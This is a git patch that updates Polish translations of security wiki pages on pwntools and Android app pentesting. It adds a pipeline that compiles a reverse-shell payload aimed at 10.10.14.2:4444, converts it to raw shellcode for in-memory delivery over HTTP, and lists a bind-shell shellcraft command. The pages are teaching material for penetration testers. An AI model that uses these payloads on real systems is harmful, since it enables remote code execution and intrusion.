From 9e4d00519db9edd7f06527cd5683b330d58155a3 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 02:11:56 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/in-memory-jni- --- src/SUMMARY.md | 1 + .../tools/pwntools.md | 95 +++- .../android-app-pentesting/README.md | 538 +++++++++--------- .../in-memory-jni-shellcode-execution.md | 121 ++++ .../reversing-native-libraries.md | 81 +-- 5 files changed, 499 insertions(+), 337 deletions(-) create mode 100644 src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 3e41d9a7b..edddf45ba 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -353,6 +353,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 39998f2f9..3b69dea7d 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -13,10 +13,10 @@ pwn asm -i ``` **Można wybrać:** -- typ wyjścia (raw, hex, string, elf) -- kontekst pliku wyjściowego (16, 32, 64, linux, windows...) -- unikać bajtów (nowe linie, null, lista) -- wybrać kodowanie debug shellcode używając gdb uruchom wyjście +- typ wyjścia (raw,hex,string,elf) +- kontekst pliku wyjściowego (16,32,64,linux,windows...) +- unikać bajtów (new lines, null, a list) +- wybierz encoder, debuguj shellcode przy użyciu gdb, uruchom wynik ## **Pwn checksec** @@ -28,17 +28,17 @@ pwn checksec ## Pwn cyclic -Uzyskaj wzór +Pobierz pattern ``` pwn cyclic 3000 pwn cyclic -l faad ``` -**Można wybrać:** +**Możesz wybrać:** - Używany alfabet (domyślnie małe litery) -- Długość unikalnego wzoru (domyślnie 4) +- Długość unikalnego wzorca (domyślnie 4) - kontekst (16,32,64,linux,windows...) -- Weź offset (-l) +- Podaj offset (-l) ## Pwn debug @@ -50,31 +50,31 @@ pwn debug --process bash ``` **Można wybrać:** -- Według pliku wykonywalnego, według nazwy lub według kontekstu pid (16,32,64,linux,windows...) -- gdbscript do wykonania +- Według executable, według nazwy lub według pid context (16,32,64,linux,windows...) +- gdbscript do uruchomienia - sysrootpath ## Pwn disablenx -Wyłącz nx w binarnym +Wyłącz nx dla binary ``` pwn disablenx ``` ## Pwn disasm -Disas hex opcodes +Disasembluje hex opcodes ``` pwn disasm ffe4 ``` **Można wybrać:** -- kontekst (16,32,64,linux,windows...) +- context (16,32,64,linux,windows...) - adres bazowy -- kolor(domyslny)/bez koloru +- kolor (domyślny)/bez koloru ## Pwn elfdiff -Wydrukuj różnice między 2 plikami +Wyświetla różnice między 2 plikami ``` pwn elfdiff ``` @@ -86,14 +86,14 @@ pwn hex hola #Get hex of "hola" ascii ``` ## Pwn phd -Uzyskaj hexdump +Pobierz hexdump ``` pwn phd ``` **Można wybrać:** - Liczba bajtów do wyświetlenia -- Liczba bajtów na linię podświetlająca bajt +- Liczba bajtów na linię; bajt do podświetlenia - Pomiń bajty na początku ## Pwn pwnstrip @@ -102,7 +102,7 @@ pwn phd ## Pwn shellcraft -Pobierz shellcode'y +Pobierz shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -112,37 +112,70 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` **Można wybrać:** -- shellcode i argumenty dla shellcode -- Plik wyjściowy +- shellcode i jego argumenty +- plik wyjściowy - format wyjścia -- debug (dołącz dbg do shellcode) -- przed (pułapka debugowania przed kodem) -- po -- unikaj używania opkodów (domyślnie: nie null i nowa linia) +- debug (attach dbg do shellcode) +- before (debug trap przed kodem) +- after +- avoid using opcodes (domyślnie: bez null i new line) - Uruchom shellcode -- Kolor/brak koloru +- Kolor/bez koloru - lista syscalls -- lista możliwych shellcode'ów -- Generuj ELF jako bibliotekę współdzieloną +- lista możliwych shellcodes +- Wygeneruj ELF jako bibliotekę współdzieloną ## Szablon Pwn -Pobierz szablon Pythona +Pobierz pythonowy szablon ``` pwn template ``` -**Można wybrać:** host, port, użytkownik, hasło, ścieżka i cicho +**Można wybrać:** host, port, user, pass, path i quiet ## Pwn unhex -Z hex na string +Z hex do stringu ``` pwn unhex 686f6c61 ``` -## Pwn update +## Pwn aktualizacja Aby zaktualizować pwntools ``` pwn update ``` +## ELF → raw shellcode packaging (loader_append) + +Pwntools może przekształcić samodzielny ELF w pojedynczy raw shellcode blob, który sam mapuje swoje segmenty i przekazuje wykonanie do oryginalnego punktu wejścia. Jest to idealne dla memory‑only loaderów (np. aplikacje Android wywołujące JNI do wykonania pobranych bajtów). + +Typical pipeline (amd64 example) + +1) Zbuduj statyczny, niezależny od pozycji payload ELF (musl recommended for portability): +```bash +musl-gcc -O3 -s -static -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +2) Konwertuj ELF → shellcode za pomocą pwntools: +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") +``` +3) Dostarcz sc do loadera pamięci (np. przez HTTP[S]) i wykonaj w procesie. + +Uwagi +- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry. +- Określ wyraźnie architekturę za pomocą context.clear(arch=...). arm64 jest powszechny na Android. +- Utrzymuj kod payloadu niezależny od pozycji (position‑independent) i unikaj założeń dotyczących ASLR/NX procesu. + +## Referencje + +- [Pwntools](https://docs.pwntools.com/en/stable/) +- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 58cefd70d..201686244 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -4,7 +4,7 @@ ## Podstawy aplikacji Android -Zdecydowanie zaleca się rozpocząć od przeczytania tej strony, aby poznać **najważniejsze elementy związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty aplikacji Android**: +Zaleca się rozpocząć od przeczytania tej strony, aby poznać **najważniejsze elementy związane z bezpieczeństwem Androida oraz najbardziej niebezpieczne komponenty w aplikacji Android**: {{#ref}} @@ -14,23 +14,23 @@ android-applications-basics.md ## ADB (Android Debug Bridge) To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem Android (emulowanym lub fizycznym).\ -**ADB** pozwala kontrolować urządzenia przez **USB** lub **Network** z komputera. To narzędzie umożliwia **kopiowanie** plików w obie strony, **instalację** i **odinstalowanie** aplikacji, **wykonywanie** poleceń shell, **tworzenie kopii zapasowych** danych, **odczytywanie** logów oraz inne funkcje. +**ADB** pozwala kontrolować urządzenia zarówno przez **USB**, jak i **Network** z komputera. To narzędzie umożliwia **copying** plików w obu kierunkach, **installation** i **uninstallation** aplikacji, **execution** poleceń shell, **backing up** danych, **reading** logów, między innymi funkcji. -Zapoznaj się z następującą listą [**ADB Commands**](adb-commands.md), aby nauczyć się używać adb. +Sprawdź następującą listę [**ADB Commands**](adb-commands.md), aby dowiedzieć się, jak używać adb. ## Smali -Czasami warto **zmodyfikować kod aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (np. dobrze obfuskowanych haseł lub flags). Wtedy może być przydatne zdekompilowanie apk, modyfikacja kodu i ponowne skompilowanie.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Może to być bardzo użyteczne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które zostaną przedstawione. Więc **zawsze miej tę możliwość na uwadze**. +Czasami warto **modify the application code**, aby uzyskać dostęp do **hidden information** (np. dobrze obfuskowane hasła lub flagi). W takim przypadku może być interesujące zdekompilować APK, zmodyfikować kod i ponownie skompilować aplikację.\ +[**W tym samouczku** możesz **nauczyć się jak zdekompilować APK, zmodyfikować Smali code i ponownie skompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas dynamic analysis**, które zostaną zaprezentowane. Zawsze pamiętaj o tej możliwości. -## Inne ciekawe triki +## Other interesting tricks - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Pobierz APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Wyodrębnij APK z urządzenia: +- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- Extract APK from device: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Static Analysis -First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ -Please, [**read here to find information about different available decompilers**](apk-decompilers.md). +Przede wszystkim, aby analizować APK powinieneś **przejrzeć kod Java** używając dekompilera.\ +Proszę, [**przeczytaj tutaj, aby znaleźć informacje o różnych dostępnych dekompilatorach**](apk-decompilers.md). -### Looking for interesting Info +### Szukanie interesujących informacji -Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors (hardcoded admin credentials to the app). +Już samo przejrzenie **strings** w APK pozwala wyszukać **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API keys**, **encryption**, **bluetooth uuids**, **tokens** i wszystko, co interesujące... szukaj nawet code execution **backdoors** lub authentication backdoors (hardcoded admin credentials w aplikacji). **Firebase** -Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Zwróć szczególną uwagę na **Firebase URLs** i sprawdź, czy nie są źle skonfigurowane. [Więcej informacji o tym, czym jest Firebase i jak to wykorzystać znajdziesz tutaj.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Basic understanding of the application - Manifest.xml, strings.xml -The **examination of an application's _Manifest.xml_ and **_strings.xml_** files can reveal potential security vulnerabilities**. These files can be accessed using decompilers or by renaming the APK file extension to .zip and then unzipping it. +**Analiza plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne podatności bezpieczeństwa.** Do tych plików można uzyskać dostęp za pomocą dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip i rozpakowując go. -**Vulnerabilities** identified from the **Manifest.xml** include: +**Podatności** zidentyfikowane w **Manifest.xml** obejmują: -- **Debuggable Applications**: Applications set as debuggable (`debuggable="true"`) in the _Manifest.xml_ file pose a risk as they allow connections that can lead to exploitation. For further understanding on how to exploit debuggable applications, refer to a tutorial on finding and exploiting debuggable applications on a device. -- **Backup Settings**: The `android:allowBackup="false"` attribute should be explicitly set for applications dealing with sensitive information to prevent unauthorized data backups via adb, especially when usb debugging is enabled. -- **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ can specify security details like certificate pins and HTTP traffic settings. An example is allowing HTTP traffic for specific domains. -- **Exported Activities and Services**: Identifying exported activities and services in the manifest can highlight components that might be misused. Further analysis during dynamic testing can reveal how to exploit these components. -- **Content Providers and FileProviders**: Exposed content providers could allow unauthorized access or modification of data. The configuration of FileProviders should also be scrutinized. -- **Broadcast Receivers and URL Schemes**: These components could be leveraged for exploitation, with particular attention to how URL schemes are managed for input vulnerabilities. -- **SDK Versions**: The `minSdkVersion`, `targetSDKVersion`, and `maxSdkVersion` attributes indicate the supported Android versions, highlighting the importance of not supporting outdated, vulnerable Android versions for security reasons. +- **Debuggable Applications**: Aplikacje ustawione jako debuggable (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ umożliwiają połączenia, które mogą prowadzić do exploitacji. Aby lepiej zrozumieć, jak wykorzystywać debuggable applications, zapoznaj się z tutorialem dotyczącym znajdowania i wykorzystywania debuggable applications na urządzeniu. +- **Backup Settings**: Atrybut `android:allowBackup="false"` powinien być jawnie ustawiony dla aplikacji przetwarzających wrażliwe informacje, aby zapobiec nieautoryzowanym backupom danych przez adb, szczególnie gdy usb debugging jest włączone. +- **Network Security**: Niestandardowe konfiguracje network security (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak certificate pins i ustawienia HTTP traffic. Przykładem może być zezwolenie na HTTP traffic dla określonych domen. +- **Exported Activities and Services**: Identyfikacja exported activities i services w manifeście może ujawnić komponenty, które mogą zostać wykorzystane. Dalsza analiza podczas testów dynamicznych może pokazać, jak te komponenty eksploatować. +- **Content Providers and FileProviders**: Eksponowane content providers mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders również powinna zostać dokładnie sprawdzona. +- **Broadcast Receivers and URL Schemes**: Te komponenty mogą być wykorzystane do ataku, zwracając szczególną uwagę na sposób, w jaki URL schemes są obsługiwane pod kątem podatności wejścia. +- **SDK Versions**: Atrybuty `minSdkVersion`, `targetSDKVersion`, i `maxSdkVersion` wskazują obsługiwane wersje Androida, co podkreśla znaczenie niewspierania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa. -From the **strings.xml** file, sensitive information such as API keys, custom schemas, and other developer notes can be discovered, underscoring the need for careful review of these resources. +Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak API keys, custom schemas i inne notatki deweloperskie, co podkreśla potrzebę uważnego przeglądu tych zasobów. ### Tapjacking -**Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\ -In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**. +**Tapjacking** to atak, w którym **malicious application** jest uruchamiana i **pozycjonuje się nad aplikacją ofiary**. Gdy zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany tak, aby zwieść użytkownika do interakcji z nim, podczas gdy interakcja jest przekazywana do aplikacji ofiary.\ +W efekcie **użytkownik jest oślepiany i nie wie, że tak naprawdę wykonuje akcje w aplikacji ofiary**. -Find more information in: +Znajdź więcej informacji w: {{#ref}} @@ -104,9 +104,9 @@ tapjacking.md ### Task Hijacking -An **activity** with the **`launchMode`** set to **`singleTask` without any `taskAffinity`** defined is vulnerable to task Hijacking. This means, that an **application** can be installed and if launched before the real application it could **hijack the task of the real application** (so the user will be interacting with the **malicious application thinking he is using the real one**). +Aktywność z ustawionym **`launchMode`** na **`singleTask` bez zdefiniowanego `taskAffinity`** jest podatna na task Hijacking. Oznacza to, że aplikacja może zostać zainstalowana i jeśli zostanie uruchomiona przed prawdziwą aplikacją, może **przejąć task prawdziwej aplikacji** (tak że użytkownik będzie interagował z **malicious application**, myśląc, że używa prawdziwej aplikacji). -More info in: +Więcej informacji w: {{#ref}} @@ -117,79 +117,77 @@ android-task-hijacking.md **Internal Storage** -In Android, files **stored** in **internal** storage are **designed** to be **accessible** exclusively by the **app** that **created** them. This security measure is **enforced** by the Android operating system and is generally adequate for the security needs of most applications. However, developers sometimes utilize modes such as `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` to **allow** files to be **shared** between different applications. Yet, these modes **do not restrict access** to these files by other applications, including potentially malicious ones. +W Androidzie pliki **przechowywane** w **internal storage** są **przeznaczone** do dostępu wyłącznie przez aplikację, która je utworzyła. Ten mechanizm bezpieczeństwa jest egzekwowany przez system Android i jest zwykle wystarczający dla potrzeb większości aplikacji. Jednak deweloperzy czasami używają trybów takich jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **umożliwić** udostępnianie plików między różnymi aplikacjami. Te tryby **nie ograniczają jednak dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe. -1. **Static Analysis:** -- **Ensure** that the use of `MODE_WORLD_READABLE` and `MODE_WORLD_WRITABLE` is **carefully scrutinized**. These modes **can potentially expose** files to **unintended or unauthorized access**. -2. **Dynamic Analysis:** -- **Verify** the **permissions** set on files created by the app. Specifically, **check** if any files are **set to be readable or writable worldwide**. This can pose a significant security risk, as it would allow **any application** installed on the device, regardless of its origin or intent, to **read or modify** these files. +1. Analiza statyczna: +- **Sprawdź** użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` z dużą ostrożnością. Te tryby **mogą potencjalnie eksponować** pliki na **niezamierzony lub nieautoryzowany dostęp**. +2. Analiza dynamiczna: +- **Zweryfikuj** uprawnienia ustawione na plikach tworzonych przez aplikację. Konkretnie, **sprawdź**, czy jakieś pliki nie zostały ustawione jako czytelne lub zapisywalne dla wszystkich. To może stanowić istotne ryzyko bezpieczeństwa, ponieważ umożliwi **każdej aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia czy zamiarów, **odczyt lub modyfikację** tych plików. **External Storage** -When dealing with files on **external storage**, such as SD Cards, certain precautions should be taken: +W przypadku plików na **external storage**, takich jak SD Cards, należy zachować ostrożność: -1. **Accessibility**: -- Files on external storage are **globally readable and writable**. This means any application or user can access these files. -2. **Security Concerns**: -- Given the ease of access, it's advised **not to store sensitive information** on external storage. -- External storage can be removed or accessed by any application, making it less secure. -3. **Handling Data from External Storage**: -- Always **perform input validation** on data retrieved from external storage. This is crucial because the data is from an untrusted source. -- Storing executables or class files on external storage for dynamic loading is strongly discouraged. -- If your application must retrieve executable files from external storage, ensure these files are **signed and cryptographically verified** before they are dynamically loaded. This step is vital for maintaining the security integrity of your application. +1. Dostępność: +- Pliki na external storage są **globalnie czytelne i zapisywalne**. Oznacza to, że każda aplikacja lub użytkownik może mieć do nich dostęp. +2. Obawy związane z bezpieczeństwem: +- Ze względu na łatwość dostępu, zaleca się **nie przechowywać na external storage informacji wrażliwych**. +- External storage może zostać usunięty lub dostęp do niego może uzyskać dowolna aplikacja, co czyni go mniej bezpiecznym. +3. Obsługa danych z external storage: +- Zawsze **waliduj dane wejściowe** pobierane z external storage. To ważne, ponieważ dane pochodzą ze źródła nieufnego. +- Odradza się przechowywanie plików wykonywalnych lub plików klas na external storage w celu dynamicznego ładowania. +- Jeśli Twoja aplikacja musi pobierać pliki wykonywalne z external storage, upewnij się, że te pliki są **signed and cryptographically verified** zanim zostaną dynamicznie załadowane. Ten krok jest kluczowy dla zachowania integralności bezpieczeństwa aplikacji. -External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +External storage może być **dostępny** w /storage/emulated/0 , /sdcard , /mnt/sdcard > [!TIP] -> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files. +> Począwszy od Android 4.4 (**API 17**), SD card ma strukturę katalogów, która **ogranicza dostęp aplikacji tylko do katalogu przypisanego konkretnej aplikacji**. Zapobiega to temu, by malicious application uzyskała odczyt lub zapis plików innej aplikacji. **Sensitive data stored in clear-text** -- **Shared preferences**: Android allow to each application to easily save xml files in the path `/data/data//shared_prefs/` and sometimes it's possible to find sensitive information in clear-text in that folder. -- **Databases**: Android allow to each application to easily save sqlite databases in the path `/data/data//databases/` and sometimes it's possible to find sensitive information in clear-text in that folder. +- **Shared preferences**: Android pozwala każdej aplikacji łatwo zapisywać pliki xml w ścieżce /data/data//shared_prefs/ i czasami można tam znaleźć wrażliwe informacje w postaci jawnej. +- **Databases**: Android pozwala każdej aplikacji łatwo zapisywać bazy danych sqlite w ścieżce /data/data//databases/ i czasami można tam znaleźć wrażliwe informacje w postaci jawnej. ### Broken TLS **Accept All Certificates** -For some reason sometimes developers accept all the certificates even if for example the hostname does not match with lines of code like the following one: +Z jakiegoś powodu czasami deweloperzy akceptują wszystkie certyfikaty, nawet jeśli na przykład hostname nie pasuje — przy użyciu fragmentów kodu takich jak poniższy: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. +Dobry sposób, by to przetestować, to spróbować przechwycić ruch używając proxy takiego jak Burp bez autoryzowania Burp CA wewnątrz urządzenia. Możesz też wygenerować w Burp certyfikat dla innej nazwy hosta i użyć go. -### Zła kryptografia +### Błędy w kryptografii **Słabe procesy zarządzania kluczami** -Niektórzy deweloperzy zapisują dane wrażliwe w local storage i szyfrują je z użyciem klucza hardcoded/predictable w kodzie. Nie powinno się tego robić, ponieważ pewne techniki reversingowe mogą pozwolić atakującym na wydobycie poufnych informacji. +Niektórzy deweloperzy zapisują dane wrażliwe w local storage i szyfrują je kluczem hardcoded/predictable w kodzie. Nie powinno się tego robić, ponieważ reversing może pozwolić atakującym na wydobycie poufnych informacji. -**Użycie niebezpiecznych i/lub przestarzałych algorytmów** +**Używanie niebezpiecznych i/lub przestarzałych algorytmów** -Deweloperzy nie powinni używać **przestarzałych algorytmów** do wykonywania **sprawdzeń autoryzacji**, **przechowywania** lub **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli **hashes** są używane do przechowywania haseł na przykład, powinny być stosowane hashe odporne na **brute-force** z użyciem salt. +Deweloperzy nie powinni używać **przestarzałych algorytmów** do wykonywania autoryzacyjnych **checks**, **przechowywania** czy **wysyłania** danych. Niektóre z tych algorytmów to: RC4, MD4, MD5, SHA1... Jeśli do przechowywania haseł używane są **hashes**, powinny to być algorytmy odporne na brute-force stosowane z salt. ### Inne kontrole - Zaleca się **obfuskować APK**, aby utrudnić pracę reverse engineerom. -- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna wykonywać **własne kontrole, czy urządzenie jest rooted** i działać odpowiednio. +- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna wykonywać własne **sprawdzenia, czy urządzenie jest zrootowane** i odpowiednio reagować. - Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna sprawdzać, czy używany jest **emulator**. -- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna **sprawdzić swoją integralność przed uruchomieniem**, aby wykryć, czy została zmodyfikowana. -- Użyj [**APKiD**](https://github.com/rednaga/APKiD) aby sprawdzić, który compiler/packer/obfuscator został użyty do zbudowania APK +- Jeśli aplikacja jest wrażliwa (np. aplikacje bankowe), powinna **sprawdzić swoją integralność przed uruchomieniem**, aby upewnić się, że nie została zmodyfikowana. +- Użyj [**APKiD**](https://github.com/rednaga/APKiD) aby sprawdzić, który compiler/packer/obfuscator został użyty do zbudowania APK. -### Aplikacja React Native - -Przeczytaj następującą stronę aby dowiedzieć się jak w prosty sposób uzyskać dostęp do kodu javascript aplikacji React: +### React Native Application +Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp do kodu javascript aplikacji React: {{#ref}} react-native-application.md {{#endref}} -### Aplikacje Xamarin - -Przeczytaj następującą stronę aby dowiedzieć się jak w prosty sposób uzyskać dostęp do kodu C# aplikacji xamarin: +### Xamarin Applications +Przeczytaj następującą stronę, aby dowiedzieć się, jak łatwo uzyskać dostęp do kodu C# aplikacji Xamarin: {{#ref}} ../xamarin-apps.md @@ -197,19 +195,19 @@ Przeczytaj następującą stronę aby dowiedzieć się jak w prosty sposób uzys ### Superpacked Applications -Zgodnie z tym [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked to algorytm Meta, który kompresuje zawartość aplikacji do pojedynczego pliku. Blog opisuje możliwość stworzenia aplikacji, która dekompresuje tego typu aplikacje... oraz szybszy sposób polegający na **uruchomieniu aplikacji i zebraniu zdekompresowanych plików z filesystemu.** +Zgodnie z tym [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked to algorytm Meta, który kompresuje zawartość aplikacji do pojedynczego pliku. Blog opisuje możliwość stworzenia aplikacji, która dekompresuje tego typu aplikacje... oraz szybszy sposób polegający na **uruchomieniu aplikacji i zebraniu zdekompresowanych plików z systemu plików.** -### Zautomatyzowana statyczna analiza kodu +### Automatyczna statyczna analiza kodu -Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) jest w stanie znaleźć **vulnerabilities** poprzez **skanowanie** **kodu** aplikacji. To narzędzie zawiera serię **known sources** (które wskazują narzędziu **miejsce**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinks** (które wskazują narzędziu **niebezpieczne** **miejsca**, gdzie złośliwe dane wejściowe mogą wyrządzić szkody) oraz **rules**. Te rules wskazują **kombinacje** **sources-sinks**, które sygnalizują podatność. +Narzędzie [**mariana-trench**](https://github.com/facebook/mariana-trench) potrafi znaleźć **vulnerabilities** poprzez **skanowanie** **kodu** aplikacji. Narzędzie zawiera zbiór **known sources** (wskazujących narzędziu **miejsca**, gdzie **wejście** jest **kontrolowane przez użytkownika**), **sinks** (wskazujących **niebezpieczne** **miejsca**, gdzie złośliwe dane użytkownika mogą wyrządzić szkody) oraz **reguł**. Te reguły określają **kombinacje** **sources-sinks**, które wskazują na podatność. -Z tą wiedzą, **mariana-trench przejrzy kod i znajdzie możliwe podatności w nim**. +Dzięki tej wiedzy **mariana-trench przeanalizuje kod i znajdzie możliwe podatności w nim**. ### Secrets leaked -Aplikacja może zawierać secrets (API keys, passwords, hidden urls, subdomains...) wewnątrz, które możesz być w stanie odkryć. Możesz użyć narzędzia takiego jak [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +Aplikacja może zawierać secrets (API keys, passwords, ukryte url, subdomeny...) wewnątrz siebie, które możesz być w stanie odkryć. Możesz użyć narzędzia takiego jak [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) -### Obejście uwierzytelniania biometrycznego +### Bypass Biometric Authentication {{#ref}} @@ -218,10 +216,15 @@ bypass-biometric-authentication-android.md ### Inne interesujące funkcje -- **Wykonanie kodu**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **Wysyłanie SMS-ów**: `sendTextMessage, sendMultipartTestMessage` -- **Funkcje natywne** zadeklarowane jako `native`: `public native, System.loadLibrary, System.load` -- [Przeczytaj to aby dowiedzieć się **jak reverse native functions**](reversing-native-libraries.md) +- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` +- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` +- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` +- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) +- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call): + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} ### **Inne sztuczki** @@ -236,11 +239,11 @@ content-protocol.md ## Analiza dynamiczna -> Przede wszystkim potrzebujesz środowiska, w którym możesz zainstalować aplikację i całe otoczenie (Burp CA cert, Drozer and Frida głównie). Dlatego zalecane jest użycie rooted device (emulowane lub nie). +> Przede wszystkim potrzebujesz środowiska, w którym możesz zainstalować aplikację i całe otoczenie (certyfikat Burp CA, Drozer i Frida przede wszystkim). Dlatego zdecydowanie zalecane jest użycie zrootowanego urządzenia (emulowanego lub nie). ### Analiza dynamiczna online -Możesz założyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala **upload** i **execute** APKs, więc jest przydatna do obserwowania zachowania apk. +Możesz stworzyć **darmowe konto** na: [https://appetize.io/](https://appetize.io). Ta platforma pozwala **upload** i **execute** APK, więc jest przydatna do obserwacji zachowania apk. Możesz nawet **zobaczyć logi swojej aplikacji** w przeglądarce i połączyć się przez **adb**. @@ -252,205 +255,202 @@ Dzięki połączeniu ADB możesz używać **Drozer** i **Frida** wewnątrz emula #### Używanie emulatora -- [**Android Studio**](https://developer.android.com/studio) (Możesz tworzyć urządzenia **x86** i **arm**, i zgodnie z [**tym** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnowsze x86** wersje 